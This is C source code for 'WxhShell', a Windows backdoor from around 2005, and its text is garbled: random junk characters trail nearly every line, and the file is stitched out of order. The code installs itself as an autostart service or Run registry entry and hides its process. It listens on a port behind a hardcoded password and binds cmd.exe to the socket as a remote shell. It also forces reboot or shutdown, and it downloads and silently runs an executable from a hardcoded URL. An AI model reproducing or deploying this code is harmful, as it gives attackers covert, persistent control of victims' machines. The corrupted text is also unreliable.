    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y2L#:[8  
    else { }ut]\]b  
    closesocket(wsh); <U Zd;e@  
    ExitThread(0); 7L5P%zLtB  
    } D=f7NVc>Q  
    break; : esg(  
    } z,SYw &S  
  // 获取shell Y$>-%KcKeI  
  case 's': { bzpFbfb  
    CmdShell(wsh); m!n/U-^  
    closesocket(wsh); W~n.Xeu{C  
    ExitThread(0); )$GIN/i  
    break; p zw8T  
  } c7uG9  
  // 退出 ~"x5U{K48S  
  case 'x': { "8)z=n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f>jwN@(  
    CloseIt(wsh); j V3)2C}  
    break; h!@,8y[B  
    } JtKp(k&  
  // 离开 kh$_!BT  
  case 'q': { g\fhp{gWB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;!>Wz9  
    closesocket(wsh); Xf'=+f2p  
    WSACleanup(); `(y(w-:W1  
    exit(1); p&p.Q^"ok  
    break; sUkm|K`#  
        } :;;E<74e i  
  } 3Mjj' 5KH!  
  } 6c4&VW  
'fV%Z  
  // 提示信息 xg`h40c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '=E9En#@  
} imB#Eo4eY  
  } Nil}js27  
d;[u8t  
  return; M5L{*>4|6  
} |H}sYp  
66&EBX}  
// shell模块句柄 >zvY\{WY  
int CmdShell(SOCKET sock) IV16d  
{ RSfM]w}Hq#  
STARTUPINFO si; Y&bM CI6U  
ZeroMemory(&si,sizeof(si)); Ue:z1p;g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D |bBu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R"Liz3Vl%  
PROCESS_INFORMATION ProcessInfo; 's?Ai2=#  
char cmdline[]="cmd"; Nt`b;X&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;#+0L$<t  
  return 0; G#`\(NW  
} >>Ar$  
'1SG(0  
// 自身启动模式 }l0&a!C  
int StartFromService(void) | $^;wP  
{ U 5w:"x  
typedef struct z$lF)r:Bc  
{ CBT>"sYE1  
  DWORD ExitStatus; |f( ~@Q:  
  DWORD PebBaseAddress; |k 2"_  
  DWORD AffinityMask; CJknJn3m&  
  DWORD BasePriority; I+ l%Sn#\  
  ULONG UniqueProcessId; ^>&k]T`  
  ULONG InheritedFromUniqueProcessId; NUJ~YWO;  
}   PROCESS_BASIC_INFORMATION; Wl"0m1G  
t G.(flW,  
PROCNTQSIP NtQueryInformationProcess; ITJ q  
jn%kG ~]'Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F!!N9VIC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o5o^TW{  
w FtN+  
  HANDLE             hProcess; V\~WvV  
  PROCESS_BASIC_INFORMATION pbi; oP?YA-#nc  
OKOu`Hz@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yoe}$f4  
  if(NULL == hInst ) return 0; H[Q_hY[>V  
r`\A nT?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mg:!4O$K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iTo k[uJ}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `s#Hq\C  
m`? MV\^  
  if (!NtQueryInformationProcess) return 0; A1Y7;-D  
2(!fg4#+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KU9Z"9#  
  if(!hProcess) return 0; Rf %HIAVE  
hjx)D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NtGn88='{  
cS .i  
  CloseHandle(hProcess); w)] H ^6  
4 {GU6v)f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4\5uY  
if(hProcess==NULL) return 0; QrG`&QN  
gIEl.  
HMODULE hMod; U!5)5c}G  
char procName[255]; zzGYiF ?  
unsigned long cbNeeded; I8Vb-YeS  
<3X7T6_:@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Mm!%Hu  
T5Eseesp  
  CloseHandle(hProcess); iX{G]< n  
1t[j"CG(o  
if(strstr(procName,"services")) return 1; // 以服务启动 :VmHfOO  
kdx y\ jA  
  return 0; // 注册表启动 2 +5e0/_V  
} ZUXr!v/R:1  
#%3rTU  
// 主模块 W1aa:hEf  
int StartWxhshell(LPSTR lpCmdLine) qf)$$qi  
{ vC;]jJb:  
  SOCKET wsl; 'BMy8  
BOOL val=TRUE; %WFu<^jm  
  int port=0; S*)1|~pRvQ  
  struct sockaddr_in door; n}-3o]ku  
Ok-.}q>\Mv  
  if(wscfg.ws_autoins) Install(); ;(6g\'m  
Rs& @4_D  
port=atoi(lpCmdLine); 9?T{}| ?  
_>o-UBb4]T  
if(port<=0) port=wscfg.ws_port; ~q +[<xR\  
}A$WO {2  
  WSADATA data; s Wjy6;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ({}(qm  
@MR?6n*k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !hxIlVd{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X*oMFQgP  
  door.sin_family = AF_INET; *DI)?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (LAXM x  
  door.sin_port = htons(port); 2i#Sn'1  
(kBP(2V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?|;yVew  
closesocket(wsl); 5-u=o )>  
return 1; u<ySd?  
} eHg3}b2r  
w]j+9-._  
  if(listen(wsl,2) == INVALID_SOCKET) { H%f:K2  
closesocket(wsl); CE NVp"C/`  
return 1; lVH<lp_ZtK  
} f,i5iSYf  
  Wxhshell(wsl); Zc& &[g  
  WSACleanup(); >:sUL<p  
tS# `.F~y  
return 0; 5 +9 Ze9  
:bU(S<%M  
} Ac k}QzXO  
:HViX:]H  
// 以NT服务方式启动 +~Cy$M CX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F r?z"  
{ e59dVFug.U  
DWORD   status = 0; P3tx|:gV  
  DWORD   specificError = 0xfffffff; 7iC *Pr  
TTNk r`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8 }'|]JK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3. WF}8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8U2dcx:G3  
  serviceStatus.dwWin32ExitCode     = 0; VU|dV\>  
  serviceStatus.dwServiceSpecificExitCode = 0; j|.} I  
  serviceStatus.dwCheckPoint       = 0; )YW<" $s  
  serviceStatus.dwWaitHint       = 0; 79J-)e9  
1,y&d}GW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FeJr\|FT  
  if (hServiceStatusHandle==0) return; tYW>t9  
d~tuk4F  
status = GetLastError(); JYqSL)Ta*t  
  if (status!=NO_ERROR) nCg66-3A  
{  EEy$w1ec  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2R-A@UE2  
    serviceStatus.dwCheckPoint       = 0; $.6K!x{(  
    serviceStatus.dwWaitHint       = 0; JEn3`B!*  
    serviceStatus.dwWin32ExitCode     = status; r WtZj}A  
    serviceStatus.dwServiceSpecificExitCode = specificError; =#5D(0Ab  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <T?oKOD ]  
    return; OqhD7 +  
  } @pV5}N[]  
z(RL<N%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~K_Uq*dCE  
  serviceStatus.dwCheckPoint       = 0; <{(/E0~V/<  
  serviceStatus.dwWaitHint       = 0; ^o?SM^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X##1! ad  
} !SOrCMHx  
6" T['6:j  
// 处理NT服务事件,比如:启动、停止 k ^'f[|}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?q2j3e[>  
{ oj.A,Fh  
switch(fdwControl) AtS;IRN@  
{ e`tLR- &  
case SERVICE_CONTROL_STOP: _K9VMczj  
  serviceStatus.dwWin32ExitCode = 0; QA!_} N4n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s,VXc/  
  serviceStatus.dwCheckPoint   = 0; |8_JY2 R  
  serviceStatus.dwWaitHint     = 0; UAS@R`?cI  
  { %bXx!x8(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]6Ug>>x5  
  } zkM"cb13q/  
  return; .uo.N   
case SERVICE_CONTROL_PAUSE: C=Fzu&N}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |C \}P  
  break; *TW=/+j  
case SERVICE_CONTROL_CONTINUE: KP;(Q+qTx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Huw\&E  
  break; }'"Gr%jf(  
case SERVICE_CONTROL_INTERROGATE: 0x2!<z  
  break; A?5E2T1L%.  
}; Zx }&c |Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z]w# vLR  
} vQVK$n`  
$>M<j  
// 标准应用程序主函数 {'+Q H)w(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z"4]5&3A  
{ ',7??Q7j&v  
?VU(Pq*`  
// 获取操作系统版本 N<|$h5isq  
OsIsNt=GetOsVer(); Q~D`cc|]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IHfzZHy  
<3PL@orO  
  // 从命令行安装 u),Qa=Wp  
  if(strpbrk(lpCmdLine,"iI")) Install(); TjK{9A  
3CjL\pIC  
  // 下载执行文件 FUK3)lT  
if(wscfg.ws_downexe) { WnFG{S{s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NIr@R7MKd  
  WinExec(wscfg.ws_filenam,SW_HIDE); k`HP "H  
} SZ![%)83  
S/vf'gj  
if(!OsIsNt) { rtJl _0`  
// 如果时win9x,隐藏进程并且设置为注册表启动 tqPx$s  
HideProc(); Nb2Qp K  
StartWxhshell(lpCmdLine); 9&%fq)gS  
} V+-$ jOh  
else < |O^>s;  
  if(StartFromService()) PALl sGlf  
  // 以服务方式启动 C.:=lo B  
  StartServiceCtrlDispatcher(DispatchTable); NBh%:tu7M  
else C) QKPT  
  // 普通方式启动 EY`H}S!xy  
  StartWxhshell(lpCmdLine); g_*T?;!.U  
8?t"C_>*e  
return 0; /NT[ETMk+  
} @(``:)Z<b  
3XiO@jzre  
RIM`omM  
"yz iXT@V  
=========================================== d &cU*  
SQsSa1  
%,@vWmn  
R`Aj|C z  
wCs3:@UH  
39U5jj7i  
" +eQe%U  
$m1<i?'m  
#include <stdio.h> YIt9M,5/Q  
#include <string.h> M x5`yT7  
#include <windows.h> %HQ.|  
#include <winsock2.h> FFhtj(hVgc  
#include <winsvc.h> MJ<Jb,D1  
#include <urlmon.h> {cK^,?x  
}y%`)lz~;  
#pragma comment (lib, "Ws2_32.lib") :H6FPV78  
#pragma comment (lib, "urlmon.lib") HC {XX>F^  
E9j+o y  
#define MAX_USER   100 // 最大客户端连接数 T&Xl'=/  
#define BUF_SOCK   200 // sock buffer >>l`,+y  
#define KEY_BUFF   255 // 输入 buffer  uD_v!  
X#xFFDzN  
#define REBOOT     0   // 重启 %sh>;^58P  
#define SHUTDOWN   1   // 关机 &MmU  
\u-0v.+|  
#define DEF_PORT   5000 // 监听端口 Mj>}zbpk /  
js^ ,(CS  
#define REG_LEN     16   // 注册表键长度 ~Vh(6q.oT  
#define SVC_LEN     80   // NT服务名长度 6[ qA`x#  
1L7{p>;-dO  
// 从dll定义API C<^YVeG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D\~zS`}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -kz4FS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {>3\ N0e5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |s7`F%  
)'4P.>!!aQ  
// wxhshell配置信息 rsn.4P=  
struct WSCFG { ;^ wd_  
  int ws_port;         // 监听端口 {n3EGSP#  
  char ws_passstr[REG_LEN]; // 口令 uy_wp^  
  int ws_autoins;       // 安装标记, 1=yes 0=no cxeghy:;U  
  char ws_regname[REG_LEN]; // 注册表键名 3:/'t{ ^B  
  char ws_svcname[REG_LEN]; // 服务名 xVB;s.'!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {3a&1'a0g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uk*IpP`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pY)5bSA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M`,~ mU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U=Y)V%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :pX`?Ew`g  
_i_Q?w`  
}; ->z54 T  
# M, 7  
// default Wxhshell configuration )"(]Lf's  
struct WSCFG wscfg={DEF_PORT, ql{(Lf$  
    "xuhuanlingzhe", Jo(`zuLJ  
    1, s>_V   
    "Wxhshell", ^Jp&H\gI.  
    "Wxhshell", (;x3} ]  
            "WxhShell Service", <>eOC9;VY  
    "Wrsky Windows CmdShell Service", MvLs%GE%  
    "Please Input Your Password: ", t9 \x%=  
  1, "eWk#/  
  "http://www.wrsky.com/wxhshell.exe", S>G?Q_&}?D  
  "Wxhshell.exe" -hcS]~F  
    }; ]G.%Ty  
',3HlOJ:  
// 消息定义模块 gwrYLZNGI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YG:3Fhx0~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M$4k;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @[<nQZw:  
char *msg_ws_ext="\n\rExit."; s..lK "b  
char *msg_ws_end="\n\rQuit."; c@[:V  
char *msg_ws_boot="\n\rReboot..."; WtQ8X|\`  
char *msg_ws_poff="\n\rShutdown..."; G2 ]H6G$M  
char *msg_ws_down="\n\rSave to "; !J1rRPV  
_cTh#t ^  
char *msg_ws_err="\n\rErr!"; :Eh\NOc_O  
char *msg_ws_ok="\n\rOK!"; onCKI,"  
T#%/s?_>.  
char ExeFile[MAX_PATH]; Sgim3):Z  
int nUser = 0; C`=p +2I]  
HANDLE handles[MAX_USER]; r;9 r!$d  
int OsIsNt; 7*Qk`*Ii  
cEW0;\$  
SERVICE_STATUS       serviceStatus; 2M<R(W!&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wS+V]`b  
<H3ezv1M  
// 函数声明 Wc3kO'J  
int Install(void); fy@avo9  
int Uninstall(void); Dih6mTP{  
int DownloadFile(char *sURL, SOCKET wsh); r?m+.fJB  
int Boot(int flag); ^L1L=c;,  
void HideProc(void); 7g=2Z[o  
int GetOsVer(void); k$ 5 s{q  
int Wxhshell(SOCKET wsl); f:*vr['d  
void TalkWithClient(void *cs); G)#$]diNuX  
int CmdShell(SOCKET sock); {^CT} \=>  
int StartFromService(void); UX-&/eScN  
int StartWxhshell(LPSTR lpCmdLine); nMDxH $O  
rWys'uc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &uP~rEJl+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o)6pA^+  
h1 WT  
// 数据结构和表定义 sAo& uZ  
SERVICE_TABLE_ENTRY DispatchTable[] = 6-`|:[Q~  
{ QY/hI `  
{wscfg.ws_svcname, NTServiceMain}, DU%w1+u  
{NULL, NULL} 1}hIW":3Sr  
}; 4%WzIzRb  
_(J&aY\  
// 自我安装 g&dPd7  
int Install(void) IcP)FB 4  
{ 4=uhh  
  char svExeFile[MAX_PATH]; &1%q"\VI  
  HKEY key; zX5!vaEv  
  strcpy(svExeFile,ExeFile); [' z[  
7\_o.(g#-  
// 如果是win9x系统,修改注册表设为自启动 *"9><lJ-!  
if(!OsIsNt) { 6cqP2!~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bNT9 H`P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l1ZY1#%j  
  RegCloseKey(key); PcB_oG g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _X ~87  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86@c't@  
  RegCloseKey(key); 3mPjpm  
  return 0; :^UFiUzrE  
    } 'c\iK=fl  
  } I%|>2}-_U  
} Li*eGlId  
else { b o.(zAz  
HM>lg`S  
// 如果是NT以上系统,安装为系统服务  u66XN^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aA7=q=  
if (schSCManager!=0) R.7:3h  
{ [m^+,%m5]  
  SC_HANDLE schService = CreateService Cg*H.f%Mr  
  ( b~dIk5>O  
  schSCManager, Q1V9PRZX  
  wscfg.ws_svcname, 9nu3+.&P  
  wscfg.ws_svcdisp, J0zn-  
  SERVICE_ALL_ACCESS, +C7 ~b~ %  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s  {^yj  
  SERVICE_AUTO_START, O1')nYF7  
  SERVICE_ERROR_NORMAL, tx?dIy;  
  svExeFile, 9&<x17'  
  NULL, B|o2K}%f  
  NULL, BL@:!t  
  NULL, T843":  
  NULL, F~ Lx|)0M  
  NULL Em[DHfu1Q  
  ); JNcYJ[wqv  
  if (schService!=0) j }b\Z9)!  
  { QMv@:Eo  
  CloseServiceHandle(schService); lRh9j l  
  CloseServiceHandle(schSCManager); Uye|9/w8 !  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W0I#\b18  
  strcat(svExeFile,wscfg.ws_svcname); Bc3:}+l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oyo(1 >  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [qsEUc+Z.'  
  RegCloseKey(key); SkU9ON   
  return 0; 0M\D[ mg  
    } j,]Y$B  
  } RK w$-7O  
  CloseServiceHandle(schSCManager); UGK*Gy  
} mN8pg4  
} F R|&^j6  
~  T>U  
return 1; phO;c;y}  
} E*i#?u  
_X?^Cy  
// 自我卸载 `est|C '+  
int Uninstall(void) e<r,&U$  
{ F;^F+H  
  HKEY key; e%W$*f  
yCCrK@{oo  
if(!OsIsNt) { r(gXoq_w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !?Wp+e6  
  RegDeleteValue(key,wscfg.ws_regname); }@.|?2b +  
  RegCloseKey(key); FLEo*9u>b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]qhPd_$?D'  
  RegDeleteValue(key,wscfg.ws_regname); ~/j\Z  
  RegCloseKey(key); 7gRgOzWfV  
  return 0; #Fyuf,hw4  
  } LdJYE;k Ju  
} ! VjFW5'{  
} Sp@-p9#  
else { V59(Z  
kQ]$%Lk[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,@5I:X!rR  
if (schSCManager!=0) -_$$Te  
{ (5\N B0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tDUwy^j  
  if (schService!=0) O$4yAaD X  
  { >LDhU%bH  
  if(DeleteService(schService)!=0) { ?7{H|sI  
  CloseServiceHandle(schService); eF2|Wjl``;  
  CloseServiceHandle(schSCManager); qW b+r  
  return 0; =*Bl|;>6  
  } l&?ii68/  
  CloseServiceHandle(schService); )=Jk@yj8x  
  } y( y8+ZT  
  CloseServiceHandle(schSCManager); B#9{-t3Vf  
} @IXsy  
} ->N8#XH2=  
zXRlo]  
return 1; /hO1QT}xd  
} 6Cp]NbNrq  
O$cHZs$  
// 从指定url下载文件 ~K@'+5Pc  
int DownloadFile(char *sURL, SOCKET wsh) 2WG>, 4W2  
{ .YuJJJv  
  HRESULT hr; ?,/U^rf^4  
char seps[]= "/"; NIw\}[-Z0E  
char *token; 5xL~`-IA&v  
char *file; 0Lb4'25.  
char myURL[MAX_PATH]; Jec'`,Y  
char myFILE[MAX_PATH]; K #.  
zP<pEI  
strcpy(myURL,sURL); <I;2{*QI2  
  token=strtok(myURL,seps); ZRYEqSm  
  while(token!=NULL) !F?XLekTi  
  { }\C-} Q  
    file=token; &\_iOw8  
  token=strtok(NULL,seps); 4!KoFoZt*  
  } =JmT:enV  
{p,]oOq\  
GetCurrentDirectory(MAX_PATH,myFILE); NF? vg/{  
strcat(myFILE, "\\"); )+fh-Ui  
strcat(myFILE, file); ZK)%l~J  
  send(wsh,myFILE,strlen(myFILE),0); 33}oO,}t,  
send(wsh,"...",3,0); U,LTVYrO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %Rsp;1Z  
  if(hr==S_OK) Sf8{h|71  
return 0; jRatm.N  
else 7VP32Eh[  
return 1; +]Y,q w  
Tyck/ EO  
} $kQ~d8 O  
eY e,r  
// 系统电源模块 1UQHq@aM  
int Boot(int flag) G%Lt.?m[  
{ b6*!ACY  
  HANDLE hToken; ]~Z6;  
  TOKEN_PRIVILEGES tkp; 0#MqD[U(  
//aF5 :Y#  
  if(OsIsNt) { Gw1@KKg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :Lz\yARpk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F;>!&[h}G  
    tkp.PrivilegeCount = 1; \nP>:5E1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D$x_o!JT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (IPY^>h  
if(flag==REBOOT) { PsZ >P|e1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O]m+u  
  return 0; 'g{9@PkGn  
} S<J}[I7V  
else { y\x+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3*@5S]]  
  return 0; ^urDoB:  
} Q1z;/A$Al  
  } C$5[X7'  
  else { OD_W8!-  
if(flag==REBOOT) { _l1NKk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `ta7Gc/:UY  
  return 0; *Aa?yg:=  
} !3ctB3eJ  
else { Exk\8,EGqS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $r3i2N-I  
  return 0; F_4n^@M  
}  ^k\e8F/  
} nakYn  
YtWJX kB  
return 1; ~#/hzS  
} C7O6qpO  
1w&!H ]%{  
// win9x进程隐藏模块 *2X0^H|dS  
void HideProc(void) 3=L.uXVb  
{ Ft!],n-n*  
'f?$"U JF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {.?/)  
  if ( hKernel != NULL ) 71{p+3Z&  
  { k|!EDze43?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O &-wxJ]S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]H1I,`=@  
    FreeLibrary(hKernel); =3v]gOcO  
  } _x5 3g A  
%?Ev|:i`@  
return; ~T89_L  
} mN19WQ(r  
lMbAs.!  
// 获取操作系统版本 %Ijj=wW  
int GetOsVer(void) f1(+ bE%  
{ D~\$~&_]=  
  OSVERSIONINFO winfo; }3L@J8:D"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A\.GV1  
  GetVersionEx(&winfo); 'Un " rts  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )[|3ZP`  
  return 1; s4uhsJL V$  
  else k{Aj^O3gD  
  return 0; icgSe:Ci  
} FJ6u.u  
}:~x7|~s:  
// 客户端句柄模块 L:'J Bhg  
int Wxhshell(SOCKET wsl) 5hy""i  
{ J`^I./  
  SOCKET wsh; ,xxR\}  
  struct sockaddr_in client; 9\DQ>V TQ  
  DWORD myID; `9b7>Nn<  
fP `b>]N_  
  while(nUser<MAX_USER) 1N>|yQz  
{ aUtnR<6  
  int nSize=sizeof(client); uF3qD|I\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t0T"@t#c  
  if(wsh==INVALID_SOCKET) return 1; m RO~aD!N  
x a06i#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (#E.`e1#6  
if(handles[nUser]==0) smDw<slC  
  closesocket(wsh); u5%7}<nNi  
else ' >rw(3  
  nUser++; q+vx_4  
  } I=NZokfS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xcf%KXJf6  
oGRhnP'PF+  
  return 0; M )2`+/4  
} x HhN  
<z!CDg4  
// 关闭 socket [n$BRk|  
void CloseIt(SOCKET wsh) UQI]>#_/v  
{ WpRc)g :  
closesocket(wsh); PuZf/um  
nUser--; 6<ZkJ:=  
ExitThread(0); o$Z6zmxO  
} b^$|Nz;  
DY?Kfvef  
// 客户端请求句柄 |Xk4&sDrK  
void TalkWithClient(void *cs) Z7?~S2{c  
{ YS%h^>I^  
y)@[Sl>  
  SOCKET wsh=(SOCKET)cs; :65~[$2  
  char pwd[SVC_LEN]; os]8BScx  
  char cmd[KEY_BUFF]; <"r#:Wr  
char chr[1]; f|tjsZxQ  
int i,j; 9BuSN*4  
/Dj=iBO  
  while (nUser < MAX_USER) { 8!Ww J Oe  
u[ Yk  
if(wscfg.ws_passstr) { 6gs01c,BA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); | ]X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k<\$OoOZ  
  //ZeroMemory(pwd,KEY_BUFF); &E=>Hj(dTG  
      i=0; UaB @  
  while(i<SVC_LEN) { 0ok-IHE<  
vTx2E6  
  // 设置超时 k-{<=>uM  
  fd_set FdRead; sH[ROm  
  struct timeval TimeOut; u!W0P6   
  FD_ZERO(&FdRead); Y1J=3Y  
  FD_SET(wsh,&FdRead); A"rfZ`  
  TimeOut.tv_sec=8; jm Fz51  
  TimeOut.tv_usec=0; l|k`YC x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z\%Ls   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _c_[ C*T]  
x}8yXE"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F ;2w1S^  
  pwd=chr[0]; cj'}4(  
  if(chr[0]==0xd || chr[0]==0xa) { ]n~ilS.rkl  
  pwd=0; ~"kb7Fxp  
  break; 7*Ej. HK  
  } j+,d^!  
  i++; @-!}BUs?  
    } suzZdkMA  
-3=#u_  
  // 如果是非法用户,关闭 socket ?qWfup\S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @6]sNm  
} xM&Wgei]10  
8;+B*+%@n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'GS"8w~j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T, )__h  
|* ;B  
while(1) { ub\MlSr  
h* u  
  ZeroMemory(cmd,KEY_BUFF); tE`u(B,  
|~vI3]}fx  
      // 自动支持客户端 telnet标准   .w8J*JZ  
  j=0; r 0iK  
  while(j<KEY_BUFF) { l)&X$3?tz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ''\O v  
  cmd[j]=chr[0]; .G#8a1#  
  if(chr[0]==0xa || chr[0]==0xd) { +N:o-9  
  cmd[j]=0; zM(vr"U   
  break; =aBctd:eX`  
  } tAv@R&W,  
  j++; e(GP^oK  
    } 9E"vN  
O%5 r[  
  // 下载文件 &N\jG373  
  if(strstr(cmd,"http://")) { sEGO2xeI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .@@?Pj?)  
  if(DownloadFile(cmd,wsh)) K)DDk9*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j;-1J_e5  
  else )E-inHD /  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AN/;)wc  
  } 'z%o16F)L  
  else { xQ^E"Q,1  
C,ARXW1  
    switch(cmd[0]) { \1fN0e  
  hM6PP7XH  
  // 帮助 5?3Me59  
